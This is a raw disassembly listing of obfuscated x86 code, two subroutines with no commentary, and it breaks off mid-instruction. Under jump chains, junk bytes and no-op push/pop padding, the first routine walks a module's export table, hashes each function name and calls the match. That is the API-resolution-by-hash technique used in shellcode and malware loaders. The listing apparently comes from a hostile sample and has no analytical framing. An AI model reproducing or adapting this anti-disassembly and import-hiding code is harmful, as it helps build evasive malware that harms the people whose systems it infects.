sub_401692:loc_4018C0j push dword ptr [ebx+7Ch] jmp short loc_401920 ; --------------------------------------------------------------------------- dw 6D84h ; --------------------------------------------------------------------------- mov ds:0EE69F033h, al loc_4018F9: ; CODE XREF: sub_401692:loc_401920j jmp short loc_401930 ; --------------------------------------------------------------------------- db 8Fh dd 0ABFA251Ch, 87C6A108h ; --------------------------------------------------------------------------- loc_401904: ; CODE XREF: sub_401692+21Aj mov ah, 0DDh push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_40198B in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd jl short near ptr byte_401923 pop edx ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_401692+25Ej jmp short loc_4018F9 ; --------------------------------------------------------------------------- db 68h byte_401923 db 81h ; CODE XREF: sub_401692+28Aj db 26h, 67h ; --------------------------------------------------------------------------- loc_401926: ; CODE XREF: sub_401692:loc_401930j jmp short loc_401953 ; --------------------------------------------------------------------------- dd 3B2BD14h, 5FFEB980h ; --------------------------------------------------------------------------- loc_401930: ; CODE XREF: sub_401692:loc_4018F9j jmp short loc_401926 ; --------------------------------------------------------------------------- lodsb loc_401933: ; CODE XREF: sub_401692:loc_401953j jmp short loc_401964 ; --------------------------------------------------------------------------- db 75h, 0Ah, 7Bh dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h dd 0E3129D74h db 0E0h, 99h, 5Eh ; --------------------------------------------------------------------------- loc_401953: ; CODE XREF: sub_401692:loc_401926j jmp short loc_401933 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h loc_401964: ; CODE XREF: sub_401692:loc_401933j mov ebx, [ebx+78h] jmp short loc_401977 ; --------------------------------------------------------------------------- dec ebx sub [ecx-1Ah], al daa aam 7Dh loc_401970: ; CODE XREF: sub_401692:loc_401977j jmp short loc_40199E ; --------------------------------------------------------------------------- dw 0C372h db 40h, 79h, 0BEh ; --------------------------------------------------------------------------- loc_401977: ; CODE XREF: sub_401692+2D5j jmp short loc_401970 ; --------------------------------------------------------------------------- loc_401979: ; CODE XREF: sub_401692:loc_40199Ej jmp short loc_4019B1 ; --------------------------------------------------------------------------- db 1Fh dd 3BCA356Ch, 1796B158h, 0B322ED04h db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- loc_40198B: ; CODE XREF: sub_401692+280j setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger ; --------------------------------------------------------------------------- db 15h ; --------------------------------------------------------------------------- loc_40199E: ; CODE XREF: sub_401692:loc_401970j jmp short loc_401979 ; --------------------------------------------------------------------------- dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh db 0DAh ; --------------------------------------------------------------------------- loc_4019B1: ; CODE XREF: sub_401692:loc_401979j add ebx, ecx jmp short loc_4019E5 ; --------------------------------------------------------------------------- db 94h, 3Dh ; --------------------------------------------------------------------------- loc_4019B7: ; CODE XREF: sub_401692:loc_4019E5j jmp short loc_401A00 ; --------------------------------------------------------------------------- db 32h, 83h, 0 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- push ecx loc_4019E5: ; CODE XREF: sub_401692+321j jmp short loc_4019B7 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- loc_401A00: ; CODE XREF: sub_401692:loc_4019B7j add [esp+0], ebx push ecx push esi cmp ebp, ebp push ebp pop ecx cmp ecx, edi sbb ecx, 80A89Ah mov ecx, 80AADAh or esi, 80B85Ah cld pop esi pop ecx mov edi, [ebx+20h] push esi push ebx inc ebx push ecx pop esi dec esi xor ebx, esi cmc cld pop ebx pop esi add edi, ecx push eax push edx cmp esp, eax test eax, ebp mov eax, 80B05Ah mov ax, 4BFFh cmp esp, eax mov eax, 809C5Ah push edx pop edx inc eax cld pop edx pop eax xor esi, esi push ebx push esi mov ebx, 81211Ah mov esi, 809B5Ah rol esi, 0F5h loc_401A5D: ; CODE XREF: sub_401692+42Cj ; sub_401692+430j xor esi, edi push esp pop ebx neg ebx cld pop esi pop ebx loc_401A66: ; CODE XREF: sub_401692+5DDj lea edx, [edi+esi*4] jmp short loc_401A97 ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- imul ebp, esi, 0FA251C8Fh loc_401A72: ; CODE XREF: sub_401692:loc_401A97j jmp short loc_401AA7 ; --------------------------------------------------------------------------- dd 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh dd 24DE477h, 4E495013h, 5A057C6Fh ; --------------------------------------------------------------------------- mov ebp, [eax-7Fh] loc_401A97: ; CODE XREF: sub_401692+3D7j jmp short loc_401A72 ; --------------------------------------------------------------------------- db 26h, 67h, 14h dd 8003B2BDh, 0AC5FFEB9h db 75h, 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_401AA7: ; CODE XREF: sub_401692:loc_401A72j mov edx, [edx] jmp short loc_401ADB ; --------------------------------------------------------------------------- push edi inc esp sub eax, 29B0F362h loc_401AB2: ; CODE XREF: sub_401692:loc_401ADBj jmp short loc_401AF2 ; --------------------------------------------------------------------------- scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_401A5D adc ah, bl loopne loc_401A5D pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] loc_401ADB: ; CODE XREF: sub_401692+417j jmp short loc_401AB2 ; --------------------------------------------------------------------------- db 41h, 0E6h, 27h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h ; --------------------------------------------------------------------------- add al, 0EDh loc_401AF2: ; CODE XREF: sub_401692:loc_401AB2j add edx, ecx jmp short loc_401B18 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] loc_401AFD: ; CODE XREF: sub_401692:loc_401B18j jmp short loc_401B2F ; --------------------------------------------------------------------------- db 46h dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h dd 0CEC9D093h ; --------------------------------------------------------------------------- loc_401B18: ; CODE XREF: sub_401692+462j jmp short loc_401AFD ; --------------------------------------------------------------------------- dw 0FCEFh ; --------------------------------------------------------------------------- test ebx, edx loc_401B1E: ; CODE XREF: sub_401692:loc_401B2Fj jmp short loc_401B4E ; --------------------------------------------------------------------------- dd 0A601E80Bh, 323D94E7h, 7E390083h db 0DFh, 2Ch, 0F5h ; --------------------------------------------------------------------------- loc_401B2F: ; CODE XREF: sub_401692:loc_401AFDj jmp short loc_401B1E ; --------------------------------------------------------------------------- db 8Ah, 0FBh, 18h dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h dd 6063921Dh ; --------------------------------------------------------------------------- sbb esi, ebx loc_401B4E: ; CODE XREF: sub_401692:loc_401B1Ej mov [ebp-4], edx push edi push ebx ror edi, 7 cld pop ebx pop edi xor eax, eax push esi push ebx mov esi, 809C5Ah ror esi, 0D6h inc esi xor ebx, esp cld pop ebx pop esi loc_401B6B: ; CODE XREF: sub_401692+5A6j rol eax, 7 jmp short loc_401B9B ; --------------------------------------------------------------------------- db 0B6h, 0B7h, 24h ; --------------------------------------------------------------------------- loc_401B73: ; CODE XREF: sub_401692:loc_401B9Bj jmp short loc_401BAE ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h dd 33A26D84h db 0F0h, 69h, 0EEh ; --------------------------------------------------------------------------- loc_401B9B: ; CODE XREF: sub_401692+4DCj jmp short loc_401B73 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h dd 0A108ABFAh, 0DDB487C6h, 0D9202352h db 9Eh, 7Fh ; --------------------------------------------------------------------------- loc_401BAE: ; CODE XREF: sub_401692:loc_401B73j xor al, [edx] push edx push ecx mov dx, 4947h sub ecx, 808F5Ah dec ecx cld pop ecx pop edx inc edx jmp short loc_401BED ; --------------------------------------------------------------------------- db 5Ah dd 2681688Bh db 67h, 14h ; --------------------------------------------------------------------------- loc_401BCA: ; CODE XREF: sub_401692:loc_401BEDj jmp short loc_401BFD ; --------------------------------------------------------------------------- dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh dd 0DC4FAE29h, 0C86BBAE5h, 74478661h ; --------------------------------------------------------------------------- popf loc_401BED: ; CODE XREF: sub_401692+52Fj jmp short loc_401BCA ; --------------------------------------------------------------------------- loc_401BEF: ; CODE XREF: sub_401692:loc_401BFDj jmp short loc_401C20 ; --------------------------------------------------------------------------- db 12h, 0E3h, 0E0h dd 0C3F5E99h, 0F85B6A55h db 0D1h ; --------------------------------------------------------------------------- loc_401BFD: ; CODE XREF: sub_401692:loc_401BCAj jmp short loc_401BEF ; --------------------------------------------------------------------------- db 36h dd 0C20DA437h ; --------------------------------------------------------------------------- loc_401C04: ; CODE XREF: sub_401692:loc_401C20j jmp short loc_401C35 ; --------------------------------------------------------------------------- dw 10D3h dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h dd 583BCA35h ; --------------------------------------------------------------------------- loc_401C20: ; CODE XREF: sub_401692:loc_401BEFj jmp short loc_401C04 ; --------------------------------------------------------------------------- dw 96B1h dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh ; --------------------------------------------------------------------------- pop es loc_401C35: ; CODE XREF: sub_401692:loc_401C04j cmp byte ptr [edx], 0 jnz loc_401B6B push edx push ebx mov bx, 499Eh xchg ebx, edx clc cld pop ebx pop edx cmp eax, [ebp+0Ch] jz loc_401CE2 push edx push edi cld mov edx, esp not edx shr edx, 3Fh cmp ch, ch cmc cld pop edi pop edx inc esi push ecx push esi xchg ecx, ecx dec esi cld pop esi pop ecx cmp esi, [ebx+18h] jb loc_401A66 jmp short loc_401C95 ; --------------------------------------------------------------------------- db 91h dd 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- loc_401C7E: ; CODE XREF: sub_401692:loc_401C95j jmp short loc_401CAC ; --------------------------------------------------------------------------- dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h db 2Ch ; --------------------------------------------------------------------------- loc_401C95: ; CODE XREF: sub_401692+5E3j jmp short loc_401C7E ; --------------------------------------------------------------------------- loc_401C97: ; CODE XREF: sub_401692:loc_401CACj jmp short loc_401CC3 ; --------------------------------------------------------------------------- db 0F5h, 8Ah, 0FBh dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch ; --------------------------------------------------------------------------- loc_401CAC: ; CODE XREF: sub_401692:loc_401C7Ej jmp short loc_401C97 ; --------------------------------------------------------------------------- dw 0E148h ; --------------------------------------------------------------------------- loc_401CB0: ; CODE XREF: sub_401692:loc_401CC3j jmp short loc_401CE2 ; --------------------------------------------------------------------------- dw 0C706h dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch db 78h, 51h, 0B6h ; --------------------------------------------------------------------------- loc_401CC3: ; CODE XREF: sub_401692:loc_401C97j jmp short loc_401CB0 ; --------------------------------------------------------------------------- mov bh, 24h lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh db 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_401CE2: ; CODE XREF: sub_401692+5BBj ; sub_401692:loc_401CB0j mov edx, [ebx+24h] push eax push edx neg edx mov edx, edx ; CODE XREF: sub_401692+6B9j ; sub_401692+6BDj inc eax not eax cld pop edx pop eax add edx, ecx jmp short loc_401D0B ; --------------------------------------------------------------------------- db 0EEh, 8Fh, 1Ch dd 8ABFA25h ; --------------------------------------------------------------------------- loc_401CFC: ; CODE XREF: sub_401692:loc_401D0Bj jmp short loc_401D2A ; --------------------------------------------------------------------------- dw 0C6A1h ; --------------------------------------------------------------------------- xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_401D56 xchg eax, ebp loc_401D0B: ; CODE XREF: sub_401692+661j jmp short loc_401CFC ; --------------------------------------------------------------------------- loc_401D0D: ; CODE XREF: sub_401692:loc_401D2Aj jmp short loc_401D3A ; --------------------------------------------------------------------------- db 0AAh dd 7611389Bh, 24DE477h, 4E495013h, 5A057C6Fh, 2681688Bh dd 0B2BD1467h db 3, 80h ; --------------------------------------------------------------------------- loc_401D2A: ; CODE XREF: sub_401692:loc_401CFCj jmp short loc_401D0D ; --------------------------------------------------------------------------- dd 0AC5FFEB9h ; --------------------------------------------------------------------------- jnz short loc_401D3C loc_401D32: ; CODE XREF: sub_401692:loc_401D3Aj jmp short loc_401D5D ; --------------------------------------------------------------------------- dd 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_401D3A: ; CODE XREF: sub_401692:loc_401D0Dj jmp short loc_401D32 ; --------------------------------------------------------------------------- loc_401D3C: ; CODE XREF: sub_401692+69Ej sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short near ptr loc_401CE9+1 adc ah, bl loopne near ptr loc_401CE9+1 pop esi aas or al, 55h ; --------------------------------------------------------------------------- db 6Ah ; --------------------------------------------------------------------------- loc_401D56: ; CODE XREF: sub_401692+676j pop ebx clc sal dword ptr [esi], 1 aaa movsb ; --------------------------------------------------------------------------- db 0Dh ; --------------------------------------------------------------------------- loc_401D5D: ; CODE XREF: sub_401692:loc_401D32j movzx edx, word ptr [edx+esi*2] jmp short loc_401D8D ; --------------------------------------------------------------------------- db 27h dd 0C3727DD4h db 40h, 79h ; --------------------------------------------------------------------------- loc_401D6A: ; CODE XREF: sub_401692:loc_401D8Dj jmp short loc_401D9E ; --------------------------------------------------------------------------- dd 356C1FBEh, 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh dd 21882B7Ah, 5D340746h, 59A0A3D2h ; --------------------------------------------------------------------------- push ds loc_401D8D: ; CODE XREF: sub_401692+6CFj jmp short loc_401D6A ; --------------------------------------------------------------------------- db 0FFh db 0CCh db 15h, 2Ah ; --------------------------------------------------------------------------- loc_401D93: ; CODE XREF: sub_401692:loc_401D9Ej jmp short loc_401DBD ; --------------------------------------------------------------------------- db 1Bh, 0B8h, 91h dd 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- loc_401D9E: ; CODE XREF: sub_401692:loc_401D6Aj jmp short loc_401D93 ; --------------------------------------------------------------------------- dd 0EFCEC9D0h ; --------------------------------------------------------------------------- loc_401DA4: ; CODE XREF: sub_401692:loc_401DBDj jmp short loc_401DD4 ; --------------------------------------------------------------------------- dw 85FCh dd 1E80BDAh, 3D94E7A6h, 39008332h, 0F52CDF7Eh, 7118FB8Ah ; --------------------------------------------------------------------------- push esi loc_401DBD: ; CODE XREF: sub_401692:loc_401D93j jmp short loc_401DA4 ; --------------------------------------------------------------------------- db 0D7h dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- loc_401DD4: ; CODE XREF: sub_401692:loc_401DA4j mov eax, [ebx+1Ch] jmp short loc_401E09 ; --------------------------------------------------------------------------- js short loc_401E2C mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- loc_401DF0: ; CODE XREF: sub_401692:loc_401E09j jmp short loc_401E20 ; --------------------------------------------------------------------------- dw 0C043h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h db 25h ; --------------------------------------------------------------------------- loc_401E09: ; CODE XREF: sub_401692+745j jmp short loc_401DF0 ; --------------------------------------------------------------------------- db 0FAh dd 0C6A108ABh db 87h ; --------------------------------------------------------------------------- loc_401E11: ; CODE XREF: sub_401692:loc_401E20j jmp short loc_401E3F ; --------------------------------------------------------------------------- db 0B4h dd 202352DDh, 4C7F9ED9h, 389BAA95h ; --------------------------------------------------------------------------- loc_401E20: ; CODE XREF: sub_401692:loc_401DF0j jmp short loc_401E11 ; --------------------------------------------------------------------------- loc_401E22: ; CODE XREF: sub_401692:loc_401E3Fj jmp short loc_401E4F ; --------------------------------------------------------------------------- dd 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- loc_401E2C: ; CODE XREF: sub_401692+747j dec ecx dec esi outsd jl short near ptr loc_401E35+1 pop edx mov ebp, [eax-7Fh] loc_401E35: ; CODE XREF: sub_401692+79Dj db 26h, 67h adc al, 0BDh mov dl, 3 ; --------------------------------------------------------------------------- db 80h db 0B9h, 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_401E3F: ; CODE XREF: sub_401692:loc_401E11j jmp short loc_401E22 ; --------------------------------------------------------------------------- db 0ACh, 75h, 0Ah dd 0D6F1987Bh, 622D4457h db 0F3h, 0B0h, 29h ; --------------------------------------------------------------------------- loc_401E4F: ; CODE XREF: sub_401692:loc_401E22j add eax, ecx jmp short loc_401E81 ; --------------------------------------------------------------------------- db 47h dd 0E3129D74h db 0E0h, 99h ; --------------------------------------------------------------------------- loc_401E5A: ; CODE XREF: sub_401692:loc_401E81j jmp short loc_401E91 ; --------------------------------------------------------------------------- dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh db 0CAh ; --------------------------------------------------------------------------- loc_401E81: ; CODE XREF: sub_401692+7BFj jmp short loc_401E5A ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] xchg eax, esi loc_401E87: ; CODE XREF: sub_401692:loc_401E91j jmp short loc_401EB4 ; --------------------------------------------------------------------------- db 17h, 4, 0EDh dd 0E970B322h db 6Eh ; --------------------------------------------------------------------------- loc_401E91: ; CODE XREF: sub_401692:loc_401E5Aj jmp short loc_401E87 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_401E94: ; CODE XREF: sub_401692:loc_401EB4j jmp short loc_401EC4 ; --------------------------------------------------------------------------- dw 0A59Ch dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah dd 0CD64F7F6h, 0C9D09382h ; --------------------------------------------------------------------------- loc_401EB4: ; CODE XREF: sub_401692:loc_401E87j jmp short loc_401E94 ; --------------------------------------------------------------------------- dw 0EFCEh dd 0BDA85FCh, 0E7A601E8h, 83323D94h ; --------------------------------------------------------------------------- loc_401EC4: ; CODE XREF: sub_401692:loc_401E94j mov eax, [eax+edx*4] push edx push ebx rcr ebx, 7Ah sbb edx, 80A11Ah mov edx, 808FDAh cld cld pop ebx pop edx add eax, ecx jmp short loc_401F0D ; --------------------------------------------------------------------------- db 18h dd 0C4D75671h db 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_401EE6: ; CODE XREF: sub_401692:loc_401F0Dj jmp short loc_401F1D ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h ; --------------------------------------------------------------------------- scasd loc_401F0D: ; CODE XREF: sub_401692+84Bj jmp short loc_401EE6 ; --------------------------------------------------------------------------- db 0BCh db 45h, 9Ah, 0CBh ; --------------------------------------------------------------------------- loc_401F13: ; CODE XREF: sub_401692:loc_401F1Dj jmp short loc_401F40 ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_401F1D: ; CODE XREF: sub_401692:loc_401EE6j jmp short loc_401F13 ; --------------------------------------------------------------------------- db 0C0h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h dd 8ABFA25h, 0B487C6A1h, 202352DDh ; --------------------------------------------------------------------------- loc_401F40: ; CODE XREF: sub_401692:loc_401F13j pop ecx push ecx push edi jmp loc_401F4C ; --------------------------------------------------------------------------- ror ecx, 49h std loc_401F4C: ; CODE XREF: sub_401692+8B1j shr ecx, 4Ch cmp dl, dh test cl, ah test al, dh test ecx, eax xor edi, esi xchg edi, edi stc push edx pop ecx cld pop edi pop ecx cmp eax, ebx jbe loc_40211D push ecx push edx cmp al, 0D8h neg ecx mov dx, 4934h dec edx dec edx rep cld pop edx pop ecx cmp eax, ecx jnb loc_40211D jmp short loc_401FB0 ; --------------------------------------------------------------------------- dec ebp add dl, [ebx] loc_401F86: ; CODE XREF: sub_401692:loc_401FB0j jmp short loc_401FC3 ; --------------------------------------------------------------------------- dd 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh ; --------------------------------------------------------------------------- loc_401FB0: ; CODE XREF: sub_401692+8EFj jmp short loc_401F86 ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- loc_401FB3: ; CODE XREF: sub_401692:loc_401FC3j jmp short loc_401FE3 ; --------------------------------------------------------------------------- db 61h, 86h, 47h dd 0E3129D74h, 3F5E99E0h db 0Ch, 55h, 6Ah ; --------------------------------------------------------------------------- loc_401FC3: ; CODE XREF: sub_401692:loc_401F86j jmp short loc_401FB3 ; --------------------------------------------------------------------------- db 5Bh, 0F8h, 0D1h dd 0DA43736h ; --------------------------------------------------------------------------- loc_401FCC: ; CODE XREF: sub_401692:loc_401FE3j jmp short loc_401FFA ; --------------------------------------------------------------------------- dw 0D3C2h dd 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h db 40h, 79h, 0BEh ; --------------------------------------------------------------------------- loc_401FE3: ; CODE XREF: sub_401692:loc_401FB3j jmp short loc_401FCC ; --------------------------------------------------------------------------- db 1Fh, 6Ch, 35h dd 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh ; --------------------------------------------------------------------------- jp short loc_402025 loc_401FFA: ; CODE XREF: sub_401692:loc_401FCCj push dword ptr [ebp-4] push esi push edx mov edx, esp inc edx cld pop edx pop esi push dword ptr [ebp+8] jmp short loc_402038 ; --------------------------------------------------------------------------- dw 0D25Dh dd 1E59A0A3h ; --------------------------------------------------------------------------- loc_402010: ; CODE XREF: sub_401692+99Dj dec esp adc eax, 91B81B2Ah div bh db 64h int 82h xchg eax, ebx ror cl, 1 into out dx, eax cld test ebx, edx ; --------------------------------------------------------------------------- db 0Bh ; --------------------------------------------------------------------------- loc_402025: ; CODE XREF: sub_401692+966j call near ptr 9527C62Bh cmp eax, 39008332h jle short loc_402010 loc_402031: ; CODE XREF: sub_401692:loc_402038j jmp short loc_40205F ; --------------------------------------------------------------------------- db 2Ch dd 18FB8AF5h ; --------------------------------------------------------------------------- loc_402038: ; CODE XREF: sub_401692+976j jmp short loc_402031 ; --------------------------------------------------------------------------- dw 5671h dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh db 0B7h, 24h, 8Dh ; --------------------------------------------------------------------------- loc_40205F: ; CODE XREF: sub_401692:loc_402031j push 1FC0EAEEh push edi push ebx neg edi neg edi mov ebx, edi mov ebx, edx neg ebx rep cld pop ebx pop edi push dword ptr [ebp+8] push ebx push eax lea eax, ds:81289Ah not eax rcl eax, 31h test ecx, esp test cl, al inc eax push esp pop ebx lea eax, ds:80B11Ah push edi pop eax stc cld pop eax pop ebx call near ptr sub_401692 jmp short loc_4020CD ; --------------------------------------------------------------------------- cmpsd push esp std loc_4020A1: ; CODE XREF: sub_401692:loc_4020CDj jmp short loc_4020E0 ; --------------------------------------------------------------------------- db 0F2h dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh ; --------------------------------------------------------------------------- wait loc_4020CD: ; CODE XREF: sub_401692+A0Aj jmp short loc_4020A1 ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_4020D6: ; CODE XREF: sub_401692:loc_4020E0j jmp short loc_402103 ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh ; --------------------------------------------------------------------------- loc_4020E0: ; CODE XREF: sub_401692:loc_4020A1j jmp short loc_4020D6 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4020E3: ; CODE XREF: sub_401692:loc_402103j jmp short loc_402113 ; --------------------------------------------------------------------------- db 68h, 81h, 26h dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h dd 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_402103: ; CODE XREF: sub_401692:loc_4020D6j jmp short loc_4020E3 ; --------------------------------------------------------------------------- db 0BAh, 6Bh, 0C8h dd 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- cdq pop esi aas loc_402113: ; CODE XREF: sub_401692:loc_4020E3j call eax push eax push ebx not eax inc ebx cld pop ebx pop eax loc_40211D: ; CODE XREF: sub_401692+8D1j ; sub_401692+8E9j pop edi push edi push esi mov si, 490Ah rcr edi, 32h mov di, 5D77h cld pop esi pop edi pop esi jmp short loc_40215F ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx das cmp al, 0C5h loc_402138: ; CODE XREF: sub_401692:loc_40215Fj jmp short loc_402174 ; --------------------------------------------------------------------------- dw 4B1Ah dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_40215F: ; CODE XREF: sub_401692+A9Dj jmp short loc_402138 ; --------------------------------------------------------------------------- db 7, 34h, 5Dh dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_401692:loc_402138j pop ebx push edi push ecx not ecx not ecx push edi pop ecx inc ecx cld pop ecx pop edi leave jmp short loc_4021B4 ; --------------------------------------------------------------------------- dd 0DA85FCEFh db 0Bh, 0E8h, 1 ; --------------------------------------------------------------------------- loc_40218B: ; CODE XREF: sub_401692:loc_4021B4j jmp short locret_4021CB ; --------------------------------------------------------------------------- db 0A6h, 0E7h, 94h dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh ; --------------------------------------------------------------------------- loc_4021B4: ; CODE XREF: sub_401692+AF0j jmp short loc_40218B ; --------------------------------------------------------------------------- dw 0DE19h dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h db 0AFh, 0BCh, 45h ; --------------------------------------------------------------------------- locret_4021CB: ; CODE XREF: sub_401692:loc_40218Bj retn 8 sub_401692 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax push ecx neg ecx push edi pop eax mov eax, 80889Ah push eax pop ecx push eax pop ecx inc eax dec ecx cld pop ecx pop eax ; =============== S U B R O U T I N E ======================================= sub_4021E2 proc far ; CODE XREF: .text:00404EFAp push ebp push edx push ebx mov dx, 4906h mov ebx, esi test cl, ch xor edx, esp inc edx cld pop ebx pop edx mov ebp, esp push ebx push edi lea ebx, ds:808E1Ah push ebx pop edi xor edi, eax mov di, 4A6Ch xor edi, esi not edi inc ebx cld pop edi pop ebx add esp, 0FFFFFFF8h push esi push ecx add esi, 809E5Ah test ecx, ecx xor esi, edi dec esi mov ecx, 84BA12h inc esi mov esi, 808F9Ah dec esi cld pop ecx pop esi push esi push eax push edx xchg edx, edx dec eax cld pop edx pop eax push edi loc_402236: ; CODE XREF: sub_4021E2+B5j ; sub_4021E2+B9j jmp short loc_402268 ; --------------------------------------------------------------------------- mov ch, 4Ah mov ebx, 971631D8h loc_40223F: ; CODE XREF: sub_4021E2:loc_402268j jmp short loc_40227F ; --------------------------------------------------------------------------- db 84h, 6Dh, 0A2h dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h dd 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h ; --------------------------------------------------------------------------- loc_402268: ; CODE XREF: sub_4021E2:loc_402236j jmp short loc_40223F ; --------------------------------------------------------------------------- dw 7C6Fh dd 688B5A05h ; --------------------------------------------------------------------------- loc_402270: ; CODE XREF: sub_4021E2:loc_40227Fj jmp short loc_40229E ; --------------------------------------------------------------------------- dw 2681h dd 0B2BD1467h, 0FEB98003h db 5Fh, 0ACh, 75h ; --------------------------------------------------------------------------- loc_40227F: ; CODE XREF: sub_4021E2:loc_40223Fj jmp short loc_402270 ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_402236 adc ah, bl loopne loc_402236 pop esi loc_40229E: ; CODE XREF: sub_4021E2:loc_402270j push ebx push ecx push eax ror eax, 